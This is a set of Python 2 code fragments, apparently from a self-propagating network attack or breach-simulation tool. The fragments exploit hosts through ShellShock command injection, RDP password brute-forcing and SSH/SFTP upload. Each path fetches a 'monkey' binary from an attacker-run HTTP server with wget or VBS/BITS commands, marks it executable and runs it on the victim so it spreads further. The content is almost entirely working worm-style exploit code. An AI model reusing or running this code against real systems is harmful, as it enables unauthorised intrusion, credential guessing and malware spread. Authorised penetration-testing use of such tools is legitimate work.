exploitable_urls: LOG.info("Trying to attack host %s with %s URL" % (host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs if not host.os.get('type'): try: uname_os_attack = exploit + '/bin/uname -o' uname_os = self.attack_page(url, header, uname_os_attack) if 'linux' in uname_os: host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception, exc: LOG.debug( "Error running uname os commad on victim %r: (%s)", host, exc) return False if not host.os.get('machine'): try: uname_machine_attack = exploit + '/bin/uname -m' uname_machine = self.attack_page(url, header, uname_machine_attack) if '' != uname_machine: host.os['machine'] = uname_machine.lower().strip() except Exception, exc: LOG.debug( "Error running uname machine commad on victim %r: (%s)", host, exc) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux)): LOG.info( "Host %s was already infected under the current configuration, done" % host) return True # return already infected src_path = src_path or get_target_monkey(host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False http_path, http_thread = HTTPTools.create_transfer(host, src_path) if not http_path: LOG.debug( "Exploiter ShellShock failed, http transfer creation failed." ) return False download_command = '/usr/bin/wget %s -O %s;' % ( http_path, dropper_target_path_linux) download = exploit + download_command self.attack_page( url, header, download ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if (http_thread.downloads != 1) or ('ELF' not in self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, host, cmdline) if not (self.check_remote_file_exists( url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue return True
def exploit_host(self, host, depth=-1, src_path=None): global g_reactor assert isinstance(host, VictimHost) is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", host) return False src_path = src_path or get_target_monkey(host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(host, src_path) if not http_path: LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") return False cmdline = build_monkey_commandline(host, depth-1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) if known_password is not None: if known_password in passwords: passwords.remove(known_password) passwords.insert(0, known_password) if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False for password in passwords: try: # run command using rdp. LOG.info("Trying rdp logging into victim %r with user %s and password '%s'", host, self._config.psexec_user, password) client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True host.learn_credentials(self._config.psexec_user, password) break except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, self._config.psexec_user, password, exc) continue
ftp.putfo( file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) ftp.chmod(self._config.dropper_target_path_linux, 0777) ftp.close() except Exception, exc: LOG.debug("Error uploading file into victim %r: (%s)", host, exc) return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) cmdline += "&" ssh.exec_command(cmdline) LOG.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, host, cmdline, ) ssh.close() return True except Exception, exc: LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
def get_monkey_commandline_file(self, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))